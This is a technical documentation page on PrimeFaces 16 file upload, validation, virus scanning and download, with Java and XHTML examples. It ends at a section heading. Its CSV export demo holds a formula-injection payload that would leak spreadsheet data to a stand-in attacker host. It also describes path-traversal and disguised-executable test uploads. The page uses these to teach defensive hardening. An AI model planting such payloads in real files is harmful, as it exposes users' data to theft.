PrimeFaces: Files, Media, Charts and Drag and Drop

This content was generated with the assistance of AI and should be verified against the official documentation before being relied on in production.

The reference material consulted while preparing these pages is listed in the section bibliography.

This page is written against PrimeFaces 16.0.0 (released 2026-09-04) on Jakarta Faces 4.1 (API jakarta.faces-api 4.1.2, part of Jakarta EE 11), with Eclipse Mojarra 4.1.17 and Apache MyFaces Core 4.1.4, Jakarta Servlet 6.1 and Java 17 or later (the examples were compiled with --release 21). PrimeFaces 16 requires Faces 4.0 or later, so everything below also applies to Faces 4.0. The code in this page was deployed as an exploded Bookshelf WAR on Tomcat 11.0.26 with Weld 6.0.4.Final, once with each Faces implementation, and driven with curl and with headless Chrome (clicks, file choosers, a fake camera, drags), so the messages, headers and results shown are what came back (checked on 2026-10-08). What was not run is said so in the text.

PrimeFaces 16 is the component library; the previous pages of this section describe the standard Faces features it builds on. Installing PrimeFaces, its context parameters and its themes belong to the PrimeFaces getting started page of this section, Ajax and forms to the PrimeFaces Ajax page, tables and trees to the PrimeFaces data components page, and panels, menus and dialogs to the PrimeFaces panels page. This page covers the components that move bytes and pictures between the browser and the server:

  • Files: p:fileUpload with p:validateFile, p:fileDownload and the dynamic content machinery behind it, and p:graphicImage to show what was stored.

  • Pictures from the user: p:imageCropper and p:photoCam.

  • Charts and maps: p:chart (Chart.js) and p:gmap (Google Maps).

  • Drag and drop: p:draggable and p:droppable.

Every one of them takes data that the browser controls (file bytes and names, coordinates, a drop target), so each section ends with what to check on the server. The security posture of the standard upload page applies unchanged and is not repeated in full: see File Upload and Download for size limits, signature checks, generated file names and storage outside the web root.

The Bookshelf Additions

The examples extend the Bookshelf of the earlier pages (packages org.example.bookshelf.{model,service,web}, the Book record, the CoverStore, CsvEscaper, CoverUploadBean and CoverFileValidator of the file upload page). The CoverStore gains one method, list(), that returns the stored ids, newest first. The new classes of this page are:

Class or view Role

ImageSignature (service)

Recognises PNG and JPEG by their first bytes; returns the extension to store.

PfCoverUploadBean

Receives covers from p:fileUpload: the listener of the advanced mode and the actions of the simple mode.

CoverGalleryBean, CoverImageBean

List the stored ids, and serve one stored cover as a StreamedContent.

PfDownloadBean

The catalogue as a CSV file and the newest cover, for p:fileDownload.

CoverCropBean

Crops a stored cover with p:imageCropper; view scoped.

PhotoBean

Stores a photo taken with p:photoCam as a new cover.

ReviewChartBean

The chart models of the statistics view; view scoped.

BranchMapBean

The library branches on a map; view scoped.

ShelfDragBean

"My shelf": books dragged from the catalogue; view scoped.

Setup Shared by These Components

PrimeFaces itself needs only its jar. Four things around it matter for this page.

Multipart limits

p:fileUpload rides on the Servlet multipart API, exactly like h:inputFile. The FacesServlet therefore needs the multipart-config of the standard upload page (see Multipart Limits). The web.xml used for this page declares 2 MiB per file and 4 MiB per request, and switches on PrimeFaces' client-side validation:

web.xml: multipart limits and client-side validation (excerpt)
<context-param>
    <param-name>primefaces.CLIENT_SIDE_VALIDATION</param-name>
    <param-value>true</param-value>
</context-param>

<servlet>
    <servlet-name>facesServlet</servlet-name>
    <servlet-class>jakarta.faces.webapp.FacesServlet</servlet-class>
    <load-on-startup>1</load-on-startup>
    <multipart-config>
        <max-file-size>2097152</max-file-size>
        <max-request-size>4194304</max-request-size>
        <file-size-threshold>262144</file-size-threshold>
    </multipart-config>
</servlet>

primefaces.CLIENT_SIDE_VALIDATION (default false) is the global switch of PrimeFaces' client-side validation (CSV). The file validator uses it to check size, type and count in the browser before anything is sent; without it the same checks run only on the server (see Validating Uploads: p:validateFile). The PrimeFaces documentation for Tomcat also names two connector attributes, maxPartCount and maxPartHeaderSize, that Tomcat added in 9.0.106, 10.1.42 and 11.0.8; they limit the number of parts and the size of the part headers of one request. They were not exercised here.

Optional libraries

The PrimeFaces jar has no runtime dependencies of its own (its Maven dependencies are either shaded into the jar or provided/optional), but three features need a library that your application brings. Tomcat does not provide the XML Binding API; whether a full application server does depends on the server and its profile, so check yours (only Tomcat was run).

pom.xml: libraries for content-type detection, PhotoCam and server-side chart models
<!-- p:validateFile contentType="true": detects the type from the bytes, not from the name -->
<dependency>
    <groupId>org.overviewproject</groupId>
    <artifactId>mime-types</artifactId>
    <version>2.0.0</version>
</dependency>

<!-- p:photoCam decodes the photo with jakarta.xml.bind.DatatypeConverter; absent on Tomcat -->
<dependency>
    <groupId>jakarta.xml.bind</groupId>
    <artifactId>jakarta.xml.bind-api</artifactId>
    <version>4.0.2</version>
</dependency>

<!-- p:chart: Java model that serialises to the Chart.js JSON; optional, raw JSON works without it -->
<dependency>
    <groupId>software.xdev</groupId>
    <artifactId>chartjs-java-model</artifactId>
    <version>3.1.0</version>
</dependency>

The versions are the latest on Maven Central on 2026-10-08 (mime-types 2.0.0, jakarta.xml.bind-api 4.0.2 as in the PrimeFaces 16 pom.xml, chartjs-java-model 3.1.0). Without the XML Binding API the first photo of the PhotoCam example below failed on Tomcat with java.lang.NoClassDefFoundError: jakarta/xml/bind/DatatypeConverter in the Ajax response and worked as soon as jakarta.xml.bind-api 4.0.2 was added. chartjs-java-model 3.1.0 brought Jackson 3.2.3 along when Maven resolved it.

Dynamic content and the session

p:fileDownload, p:graphicImage and p:imageCropper produce content in a second request that the browser makes after the page (see How the Ajax download and the images are fetched). The expression behind that request is remembered in the HTTP session, so cookies must work, and the bean the expression reaches is created anew for that request. primefaces.DYNAMIC_CONTENT_LIMIT (default 200) caps how many such expressions one session keeps.

File Upload: p:fileUpload

p:fileUpload is PrimeFaces' answer to the question that the standard h:inputFile leaves open: how to show progress, accept several files, drag files onto the page and validate before sending. It has two modes (the VDL says simple or advanced, default advanced):

Mode What the browser does What the server receives

advanced (default)

A widget with Choose, Upload and Cancel buttons, a file list with previews and progress, drag and drop onto the component, and client-side validation. Each file is sent by an Ajax request of its own (or several, when chunking).

One request per file; each runs the whole lifecycle. The result is a FileUploadEvent for the listener method.

simple

A plain <input type="file"> (optionally restyled with skinSimple="true") inside an ordinary form.

The file travels with the form submit. The result is an UploadedFile (or, with multiple="true", an UploadedFiles) in the value property, or a FileUploadEvent/FilesUploadEvent for the listener.

The model types are in org.primefaces.model.file. UploadedFile has getFileName(), getWebkitRelativePath(), getInputStream(), getContent() (the whole file as a byte[]), getContentType(), getSize(), write(String) and delete(). UploadedFiles has getFiles(), getSize() and write(String). FileUploadEvent has getFile() and getTotalFilesCount(); FilesUploadEvent has getFiles(). getFileName() and getContentType() are what the browser declared; treat both as untrusted.

The advanced mode

The Bookshelf editor chooses up to three covers, each at most 2,000,000 bytes, as PNG or JPEG. The view declares the component and, inside it, the validator described in Validating Uploads: p:validateFile:

covers.xhtml: advanced upload, refreshed once after all files
<h:form id="up">
    <p:growl id="msgs" showDetail="true"/>
    <p:remoteCommand name="refreshGallery" update=":gal"/>
    <p:fileUpload id="cover" widgetVar="coverUpload" listener="#{pfCoverUploadBean.handleUpload}"
                  multiple="true" accept="image/png,image/jpeg" label="Choose covers" update="msgs"
                  oncomplete="if (!PF('coverUpload').files.length) refreshGallery();">
        <p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true" fileLimit="3"/>
    </p:fileUpload>
</h:form>

<h:panelGroup id="gal" layout="block">
    <ui:repeat value="#{coverGalleryBean.ids}" var="id">
        <p:graphicImage value="#{coverImageBean.cover}" width="60"><f:param name="id" value="#{id}"/></p:graphicImage>
    </ui:repeat>
</h:panelGroup>

The bean is request scoped. The listener is called once for every file:

PfCoverUploadBean.java
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Optional;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.event.FileUploadEvent;
import org.primefaces.model.file.UploadedFile;
import org.primefaces.model.file.UploadedFiles;

/** Receives covers from p:fileUpload. Request scoped: advanced mode sends each file in its own request. */
@Named
@RequestScoped
public class PfCoverUploadBean {

    @Inject
    private CoverStore store;
    @Inject
    private FacesContext facesContext;

    private UploadedFile single;
    private UploadedFiles several;

    /** Listener of the advanced mode: runs once per file, each time in its own request. */
    public void handleUpload(FileUploadEvent event) throws IOException {
        report(saveCover(event.getFile()));
    }

    /** Action of the simple mode with value="#{pfCoverUploadBean.single}". */
    public void saveSingle() throws IOException {
        if (single == null || single.getSize() == 0) {
            facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_WARN, "Choose a file first", null));
            return;
        }
        report(saveCover(single));
    }

    /** Action of the simple mode with multiple="true": all files arrive in one request. */
    public void saveSeveral() throws IOException {
        if (several == null) {
            return;
        }
        for (UploadedFile file : several.getFiles()) {
            report(saveCover(file));
        }
    }

    /** The signature decides the stored extension; the submitted file name is never used. */
    private Optional<String> saveCover(UploadedFile file) throws IOException {
        try (InputStream in = new BufferedInputStream(file.getInputStream())) {
            in.mark(16);
            byte[] head = in.readNBytes(8);
            in.reset();
            Optional<String> extension = ImageSignature.extensionOf(head);
            if (extension.isEmpty()) {
                return Optional.empty();
            }
            return Optional.of(store.save(in, extension.get()));
        }
    }

    private void report(Optional<String> storedId) {
        if (storedId.isPresent()) {
            facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_INFO, "Cover saved", storedId.get()));
        } else {
            facesContext.addMessage(null,
                    new FacesMessage(FacesMessage.SEVERITY_ERROR, "Not a PNG or JPEG image", null));
        }
    }

    public UploadedFile getSingle() { return single; }
    public void setSingle(UploadedFile single) { this.single = single; }
    public UploadedFiles getSeveral() { return several; }
    public void setSeveral(UploadedFiles several) { this.several = several; }
}
ImageSignature.java
package org.example.bookshelf.service;

import java.util.Optional;

/** Recognises the two cover formats by their first bytes; the extension and the declared type are never consulted. */
public final class ImageSignature {

    private ImageSignature() {
    }

    /** Returns "png" or "jpg" for a file that starts like one, otherwise empty. */
    public static Optional<String> extensionOf(byte[] head) {
        if (head.length >= 8 && (head[0] & 0xFF) == 0x89 && head[1] == 'P' && head[2] == 'N' && head[3] == 'G') {
            return Optional.of("png");
        }
        if (head.length >= 3 && (head[0] & 0xFF) == 0xFF && (head[1] & 0xFF) == 0xD8 && (head[2] & 0xFF) == 0xFF) {
            return Optional.of("jpg");
        }
        return Optional.empty();
    }
}

What happens, observed with two files chosen and one click on Upload: the browser sent two multipart Ajax requests, each with the file in a part named like the component’s client id (up:cover) and a field up:cover_totalFilesCount; the server handled them on two different Tomcat threads and called handleUpload twice (getTotalFilesCount() was 2 both times). Each request ran the complete lifecycle of the standard lifecycle page (see the six phases):

sequenceDiagram participant B as Browser (FileUpload widget) participant S as FacesServlet participant V as FileUpload and p:validateFile participant L as PfCoverUploadBean B->>B: client-side checks (size, allowTypes, fileLimit) par one request per file B->>S: POST multipart/form-data (up:cover, totalFilesCount) S->>V: Process Validations: file name, size, type by content V-->>S: valid, or ValidatorException (message) S->>L: Invoke Application: handleUpload(FileUploadEvent) S-->>B: partial response: update msgs end B->>S: remoteCommand once all files are done S-->>B: partial response: update gal

Three consequences follow from "one request, one lifecycle, one file":

  • Request scope. Files are sent in parallel and processed on separate threads. A view scoped or session scoped bean would be touched by several requests at once; the PrimeFaces documentation requires a request scoped bean for multiple="true" and special care for thread safety. The listener above keeps no state.

  • update, process and oncomplete run per file. With two files the message area was updated twice (each response replaced the previous one, so only the last file’s message stayed visible) and oncomplete is called per file too, as the documentation says. To do something once after all files, the page uses p:remoteCommand, called from oncomplete when the widget’s files array is empty. In the scratch run the gallery refreshed exactly once for two files.

  • getTotalFilesCount() tells a listener how many files belong to the batch, but the requests are independent: nothing guarantees that file 2 is processed after file 1.

The listener is the usual place for the last line of defence. PfCoverUploadBean does not trust the validator alone: it reads the first bytes, picks the extension from them and ignores the submitted name when it stores the file with the CoverStore. That matches the checks of the standard upload page.

The simple mode

In the simple mode the component is part of an ordinary form and the file travels with the submit:

simple.xhtml: single and multiple files in the simple mode
<h:form id="one" enctype="multipart/form-data">
    <p:messages id="m1"/>
    <p:fileUpload id="f" mode="simple" skinSimple="true" value="#{pfCoverUploadBean.single}"
                  accept="image/png,image/jpeg">
        <p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
    </p:fileUpload>
    <p:commandButton id="go" value="Save" action="#{pfCoverUploadBean.saveSingle}" ajax="false"/>
</h:form>

<h:form id="many" enctype="multipart/form-data">
    <p:messages id="m3"/>
    <p:fileUpload id="f" mode="simple" multiple="true" value="#{pfCoverUploadBean.several}"/>
    <p:commandButton id="go" value="Save" action="#{pfCoverUploadBean.saveSeveral}" ajax="false"/>
</h:form>

Observed on both implementations:

  • enctype="multipart/form-data" is required on the form. With the default encoding the browser sends the file name only, the component never receives a file and the bean saw none ("Choose a file first" in the example). p:fileUpload does not change the form’s encoding for you in the simple mode.

  • multiple="true" binds an UploadedFiles and all files arrive in one request, so a request scoped or view scoped bean both work. In the advanced mode the same attribute produces one listener call per file.

  • ajax="false" is what the PrimeFaces documentation shows for the submit button. An Ajax p:commandButton (the default) also delivered the file in the scratch run on Mojarra 4.1.17 and on MyFaces 4.1.4; use ajax="false" when a full page redirect or a download follows, because that is the documented form.

  • A file larger than the container limit never reaches Faces. Tomcat answered the 2.4 MB upload with its own HTTP 413 page ("The field one:f_input exceeds its maximum permitted size of 2097152 bytes"); there is no FacesMessage, as on the standard upload page. Client-side validation (below) avoids that for honest users; the hard limit is for everyone else.

  • Server-side validation runs in Process Validations, so a rejected file keeps the bean’s action from running and the message appears in p:messages.

auto="true" in the simple mode submits through Ajax as soon as a file is chosen. In 14.0.0 the simple mode stopped showing the file name when auto is true; set displayFilename="true" to show it.

h:inputFile with p:validateFile

p:validateFile also attaches to the standard h:inputFile of the file upload page. That gives a plain, library-free upload field the same size, name and content-type checks:

A standard h:inputFile validated by PrimeFaces
<h:form id="std" enctype="multipart/form-data">
    <p:messages id="m5"/>
    <h:inputFile id="f" value="#{coverUploadBean.cover}" accept="image/png,image/jpeg">
        <p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
    </h:inputFile>
    <p:commandButton id="go" value="Save" action="#{coverUploadBean.save}" ajax="false"/>
</h:form>

In the run, a real PNG was saved ("Saved 639 bytes as …​") and a file whose bytes were HTML but whose name ended in .png was refused with "Invalid file type." (with the mime-types library of Optional libraries on the classpath).

Validating Uploads: p:validateFile

p:validateFile (validator id primefaces.File, class org.primefaces.validate.FileValidator) is the single place for file rules in PrimeFaces 16. It runs on the server in every case and, when client-side validation is on, also in the browser, using the same attributes:

Attribute Type Meaning

sizeLimit

Long

Largest single file in bytes. For multiple the sum of all files is checked against it as well.

fileLimit

Integer

Largest number of files.

allowTypes

String

A JavaScript-style regular expression such as /(\.|\/)(png|jpe?g)$/. Case-insensitive; a trailing i or g flag is accepted.

contentType

Boolean

Detect the type from the file’s content and compare it with the component’s accept list. Default false.

allowMediaTypes

String

A comma-separated list of media types (application/pdf,image/jpeg) that replaces the component’s accept for this check.

virusScan

Boolean

Run the configured virus scanners (see Virus scanning). Default false.

Reading the validator’s source and trying each case gave the following rules, several of which differ from what the attribute names suggest:

  • allowTypes is matched against the file name or the declared content type. The check passes when the regular expression is found in either. The expression /(\.|\/)(png|jpe?g)$/ accepts a slash as its separator, so it matches the declared type image/png as well as a name ending in .png. A request that sent the name evil.exe with the declared type image/png and PNG bytes passed allowTypes (and was saved, because the bytes really were a PNG). allowTypes is therefore a convenience for the user’s file chooser and a coarse filter, not a security boundary.

  • contentType="true" needs something to compare with. It compares the detected type with the component’s accept attribute, or with allowMediaTypes when that is given. Without either, the content check is skipped and passes. In the advanced example above, accept="image/png,image/jpeg" supplies the list.

  • The detector decides how good the check is. PrimeFaces asks the installed java.nio.file.spi.FileTypeDetector. It first hides the file name (the temporary file has none) so that the detector must look at the bytes, and only if that returns nothing does it retry with the original extension. With no detector library, the JDK default on the scratch machine (macOS) accepted an HTML file named fake.png as image/png: it fell back to the extension. With mime-types 2.0.0 on the classpath (it registers a FileTypeDetector service) the same file was rejected with "Invalid file type.", and a file named evil.exe that started with the bytes MZ (a Windows executable header) and claimed image/png was rejected too. The tika-core 3.2.3 jar contains no META-INF/services/java.nio.file.spi.FileTypeDetector entry, and adding it alone changed nothing; if you prefer Apache Tika, register a detector class yourself as the PrimeFaces documentation describes. The result of the JDK default detector depends on the operating system, so test on the system you deploy to. For content-based detection with Tika itself, see Media Types & Detection.

  • sizeLimit is a server-side rule too. A file above the container’s limit never reaches the validator: with client-side validation off, a 2.4 MB upload in the advanced mode simply failed (the response was Tomcat’s 413, no message in the page). The validator’s own limit applies to what the container let through, and it is the only limit that applies to a chunked upload (see Chunked uploads).

  • Messages are internationalised. The texts come from the PrimeFaces locale file, under the keys primefaces.FileValidator.FILE_LIMIT, ALLOW_TYPES and SIZE_LIMIT (each with a _detail variant). Observed English texts: "Invalid file type." with the detail "Invalid file type: 'notes.txt'. Allowed types: '.png, .jpe?g'.", "Invalid file size." with "File 'big.png' must not be larger than 1.9 MB." (for 2,000,000 bytes) and "Maximum number of files exceeded." with "Maximum number: 3.". The attributes invalidSizeMessage, invalidFileMessage and fileLimitMessage of the old component were removed in 15.0.0.

Client-side validation

With primefaces.CLIENT_SIDE_VALIDATION set to true the browser checks the chosen files before sending them: with a 2.4 MB file, a .txt file and four files for a limit of three, no request was sent and the messages appeared at once ("File 'big.png' must not be larger than 1.9 MB.", "Invalid file type.", "Maximum number of files exceeded."). In the advanced mode the messages go to p:growl or p:messages; in the simple mode the PrimeFaces documentation attaches the check to a command button with validateClient="true" (documented, not run). The callback onvalidationfailure of p:fileUpload also needs client-side validation to be enabled. The browser can be bypassed by anyone: removing the data-p-sizelimit, data-p-allowtypes and data-p-val attributes that PrimeFaces renders on the file input disabled the client checks, and the server-side validator still rejected the file, as it should.

File names

FileUpload.validateValue checks every submitted file name once the validators have passed (FileUploadUtils.requireValidFilename). On a non-Windows operating system it refuses names that contain a path separator, a colon or other characters that are invalid in a Linux path, and names containing URL-encoded characters such as %20. The refusal is a normal validation error:

Table 1. Names submitted to a p:fileUpload on macOS, and the outcome
Submitted name Outcome

../escaped.png

"File Error: Invalid Linux filename: ../escaped.png" (validation fails, the listener does not run)

sub/x.png

"File Error: Invalid Linux filename: sub/x.png"

a%20b.png

"File Error: Invalid filename: a%20b.png contains invalid character: %20"

ok name.png, CON.png, x.png

Accepted; with UploadedFile.write(directory) the file was written as directory/ok name.png and so on.

That is a real protection against path traversal, and it is the reason UploadedFile.write(String) is not directly exploitable. It is still a bad habit: write(directory) stores the file under the name the client chose, so two users uploading cover.png collide, an attacker chooses the extension, and the rules differ on Windows. Use getInputStream() and write the stream under a name you generate, as PfCoverUploadBean does through the CoverStore.

Virus scanning

p:validateFile virusScan="true" runs every registered org.primefaces.virusscan.VirusScanner on each file; all available scanners must pass. PrimeFaces ships two, each configured by context parameters, and a service-provider interface for your own:

Scanner Configuration (context parameters)

VirusTotal hash lookup

primefaces.virusscan.VIRUSTOTAL_KEY: the API key. The built-in scanner only looks the file’s hash up at VirusTotal, so a file VirusTotal has never seen is not flagged. Keep the key out of web.xml in the repository (see Secrets).

ClamAV daemon

primefaces.virusscan.CLAMAV_HOST and primefaces.virusscan.CLAMAV_PORT (and CLAMAV_TIMEOUT, CLAMAV_BUFFER): the file is streamed to a running clamd over TCP.

Your own scanner

Implement org.primefaces.virusscan.VirusScanner (isEnabled() and scan(UploadedFile); throw org.primefaces.virusscan.VirusException to reject) and list the class in META-INF/services/org.primefaces.virusscan.VirusScanner.

The names above were confirmed in the 16.0.0 jar (ClamDaemonScanner and VirusTotalReportScanner read exactly these parameters, and both are listed in the jar’s service file). No scanner was run: there was no clamd or VirusTotal key here. In the validator a VirusException is turned into a validation message that carries the exception text, so do not put internal details into it. A virus scan is an additional layer; it does not replace the checks above.

Chunked uploads

maxChunkSize (bytes, advanced mode only, default 0 meaning no chunking) cuts each file into pieces that are sent one by one, which keeps every request under a proxy’s body limit and allows retries (maxRetries, default 30, and retryTimeout, default 1000 ms; sequential="true" uploads files one after another instead of in parallel). The server merges the pieces and then calls the listener once with the whole file.

chunk.xhtml: 400 kB chunks
<p:fileUpload id="cover" listener="#{pfCoverUploadBean.handleUpload}" maxChunkSize="400000" update="msgs"
              accept="image/png,image/jpeg">
    <p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
</p:fileUpload>

A 1,470,878-byte PNG became four requests and one handleUpload call that saw the full 1,470,878 bytes. The security consequence matters: the container’s max-file-size applies to each request, so it does not bound the merged file. A 2.4 MB file sent in seven chunks with the client checks bypassed was not stopped by Tomcat’s 2 MiB limit; it was rejected after merging by p:validateFile sizeLimit ("Invalid file size."). Always set sizeLimit when you enable chunking. Resuming an interrupted upload needs org.primefaces.webapp.FileUploadChunksServlet registered at a URL of your choice, as the documentation describes; that class is in the jar, and the resume flow itself was not run. Chunks are kept in the container’s temporary directory (or the location of multipart-config) until the merge or an abort, and a cron job that removes stale ones is advisable. PrimeFaces 16’s web-fragment.xml registers an UploadedFileCleanerListener for the cleanup of the request’s files.

The user interface

The remaining attributes shape the widget. They are documented in the VDL; the table lists those that change behaviour:

Attribute Effect

auto

Start uploading as soon as files are chosen (advanced) or submit through Ajax on choose (simple).

dragDrop

Whether files can be dropped onto the component (default true). dropZone takes a search expression for another component that acts as the drop target; since 15.0.0 it needs mode="advanced" (and auto="true" if wanted) to be set explicitly.

label, uploadLabel, cancelLabel, chooseIcon, uploadIcon, cancelIcon, *ButtonStyleClass

Texts, PrimeIcons and style classes of the three buttons.

messageTemplate, previewWidth

The text shown for each file, and the thumbnail width in pixels (default 80).

onAdd, onupload, onstart, oncomplete, onerror, oncancel, onvalidationfailure

Client-side callbacks. onupload returning false cancels the send, so it can ask for confirmation; onAdd receives the file and a callback that must be called to add it to the list.

skinSimple, displayFilename

Simple mode: a themed button instead of the browser’s, and whether the chosen name is shown.

The component also supports the facets empty (shown while the list is empty) and header, and its widget has show() and clear() methods. Client-side callbacks and facets are for convenience; they are not security.

File Download: p:fileDownload

The standard way to send a file from an action is the ExternalContext recipe of the file upload page (see Streaming a Download with ExternalContext). p:fileDownload wraps it: it is a behaviour you put inside a command component, and its value is an org.primefaces.model.StreamedContent. The interface has getName(), getContentType(), getContentEncoding(), getContentLength(), getStream() (a Supplier<InputStream>) and getWriter() (a Consumer<OutputStream>); the implementation to use is DefaultStreamedContent, built with its builder.

The Bookshelf exports the catalogue as CSV and offers the newest cover for download. The bean builds the content lazily: the stream or writer is only called when the bytes are needed.

PfDownloadBean.java
package org.example.bookshelf.web;

import jakarta.enterprise.context.RequestScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.UncheckedIOException;
import java.io.Writer;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.model.Book;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.CsvEscaper;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;

/** Downloads for p:fileDownload. Request scoped: the content is produced by a later request. */
@Named
@RequestScoped
public class PfDownloadBean {

    @Inject
    private CoverStore store;

    /** Streams the catalogue as CSV; every text cell goes through the escaper of the file upload page. */
    public StreamedContent getCatalogueCsv() {
        List<Book> books = List.of(
                new Book(1, "Dune", "Frank Herbert", 1965),
                new Book(2, "=HYPERLINK(\"https://attacker.example/?\"&A1)", "Mallory", 2024),
                new Book(3, "Solaris, revised", "Stanislaw Lem", 1961));
        return DefaultStreamedContent.builder()
                .name("books.csv")
                .contentType("text/csv")
                .contentEncoding("UTF-8")
                .writer(out -> writeCsv(out, books))
                .build();
    }

    private static void writeCsv(OutputStream out, List<Book> books) {
        try (Writer w = new OutputStreamWriter(out, StandardCharsets.UTF_8)) {
            w.write("id,title,author,year\r\n");
            for (Book b : books) {
                w.write(String.join(",", CsvEscaper.number(b.id()), CsvEscaper.text(b.title()),
                        CsvEscaper.text(b.author()), CsvEscaper.number(b.year())));
                w.write("\r\n");
            }
        } catch (IOException e) {
            throw new UncheckedIOException(e);
        }
    }

    /** The cover of the newest stored upload, served under a fixed download name. */
    public StreamedContent getNewestCover() throws IOException {
        List<String> ids = store.list();
        Path file = ids.isEmpty() ? null : store.find(ids.get(0)).orElse(null);
        if (file == null) {
            return DefaultStreamedContent.DUMMY;
        }
        return DefaultStreamedContent.builder()
                .name("cover" + file.getFileName().toString().substring(32))
                .contentType(file.getFileName().toString().endsWith(".png") ? "image/png" : "image/jpeg")
                .contentLength(Files.size(file))
                .stream(() -> {
                    try {
                        return Files.newInputStream(file);
                    } catch (IOException e) {
                        throw new UncheckedIOException(e);
                    }
                })
                .build();
    }
}

The CSV cells go through the CsvEscaper of the file upload page, which prefixes a cell that starts with =, @, - or + so a spreadsheet does not run it as a formula. The demo list includes a hostile title for exactly that reason. The PrimeFaces exporters of the data components page have their own rules, which that page covers.

download.xhtml: Ajax, plain, inline and command-link downloads
<h:form id="dl">
    <p:commandButton id="csvAjax" value="CSV (Ajax)" icon="pi pi-download">
        <p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
    </p:commandButton>
    <p:commandButton id="csvPlain" value="CSV (plain)" ajax="false">
        <p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
    </p:commandButton>
    <p:commandButton id="csvInline" value="CSV inline" ajax="false">
        <p:fileDownload value="#{pfDownloadBean.catalogueCsv}" contentDisposition="inline"/>
    </p:commandButton>
    <p:commandLink id="coverLink" value="Newest cover" ajax="false">
        <p:fileDownload value="#{pfDownloadBean.newestCover}"/>
    </p:commandLink>
    <h:commandButton id="stdBtn" value="h:commandButton works too">
        <p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
    </h:commandButton>
</h:form>

The p:fileDownload attributes are value, contentDisposition (attachment, the default, or inline; it applies to the non-Ajax case), store (when false, the default, the response carries no-store) and monitorKey (the cookie name for PrimeFaces.monitorDownload). The responses observed from the five buttons, identical on Mojarra and MyFaces:

Button What came back

csvAjax

An Ajax partial response whose script calls PrimeFaces.download(...), followed by a second GET that returned text/csv with Content-Disposition: inline;filename="books.csv" and Cache-Control: no-cache, no-store, must-revalidate; the script turns that response into a download.

csvPlain

The CSV in the response of the form POST itself, with Content-Disposition: attachment;filename="books.csv"; filename*=UTF-8''books.csv and the same Cache-Control.

csvInline

The same bytes with Content-Disposition: inline;filename="books.csv"; filename*=UTF-8''books.csv: the browser may show it instead of saving it.

coverLink

image/png with attachment;filename="cover.png"; filename*=UTF-8''cover.png.

stdBtn

attachment as for the plain button: p:fileDownload works inside h:commandButton too.

The CSV body of the plain download was:

The bytes of books.csv (escaping at work)
id,title,author,year
1,"Dune","Frank Herbert",1965
2,"'=HYPERLINK(""https://attacker.example/?""&A1)","Mallory",2024
3,"Solaris, revised","Stanislaw Lem",1961

Notes on use:

  • Ajax or not. Since PrimeFaces 10 the Ajax button needs no ajax="false" for downloads; before that it did. Both forms work in 16. Use the plain form when you want the browser to see a normal response and the inline option.

  • Choose the file name yourself. DefaultStreamedContent.name(...) ends up inside a Content-Disposition header. Use a fixed or generated name, never the name a user chose, and do not put a user’s text into it. The example builds it from the fixed text cover and the stored extension.

  • Set contentType from what you know, not from the file name, and contentLength when you can (the cover example does).

  • Monitoring. PrimeFaces.monitorDownload(start, end) in an onclick shows a busy indicator while a non-Ajax download is prepared; it needs cookies and is described in the documentation (not run here).

  • Other formats. A PDF or a spreadsheet is built the same way: a writer or stream that produces the bytes and the matching contentType (application/pdf, …​). p:dataExporter builds such files from a table; it belongs to the data components page of this section.

  • Authorise inside the bean. The streamed content is produced by code you wrote, so check that the current user may see the data there, exactly as for any download.

How the Ajax download and the images are fetched

An Ajax p:fileDownload, a streaming p:graphicImage and a p:imageCropper all use the same mechanism, called dynamic content streaming. Reading the 16.0.0 source and watching the requests gave this picture:

sequenceDiagram participant B as Browser participant P as Page request (render) participant D as dynamiccontent.properties.xhtml B->>P: GET page, or Ajax POST of the command P->>P: store md5(expression text) -> expression text in the session P-->>B: img src or PrimeFaces.download(url) with pfdrid and request parameters B->>D: GET url (a new request) D->>D: look the key up in the session, evaluate the expression D-->>B: the bytes (or an empty 200 when the key is unknown)
  • The page request writes an URL to the resource dynamiccontent.properties.xhtml with the library primefaces and the parameters pfdrid (the MD5 of the expression text), pfdrt=sc (streamed content), pfdrid_c (cache) and any f:param children of the component as plain request parameters.

  • The session keeps key -> expression text on the server (not the content): at most primefaces.DYNAMIC_CONTENT_LIMIT entries, 200 by default, oldest dropped first. When the second request arrives, PrimeFaces looks the key up in the session of that request and evaluates the expression in a new FacesContext.

  • The URL is not a credential. Requesting a valid URL without the session cookie returned 200 with a zero-byte body (the key is unknown to that session), and a tampered pfdrid did the same. The protection is the session, and the content is whatever your expression returns for the request.

This explains the rules that surprise people:

  • The bean is created again. The expression runs in the second request, so use @RequestScoped (or @ApplicationScoped for shared content). A @ViewScoped bean is not available there: PrimeFaces' error message for a failed stream is "Verify you are not using a @ViewScoped bean". The rendering mode of p:graphicImage (below) is the exception.

  • The expression cannot take arguments. #{coverGalleryBean.image(id)} fails in streaming mode with a "Property [image] not found" error; the expression must be a property such as #{coverImageBean.cover}. Arguments travel as f:param children, which become request parameters of the second request.

  • Everything the bean reads from the request is client data. The id parameter in the next section is validated by the CoverStore (it accepts only an id the application generated). A parameter that was a file path would be a path traversal.

Showing the Result: p:graphicImage

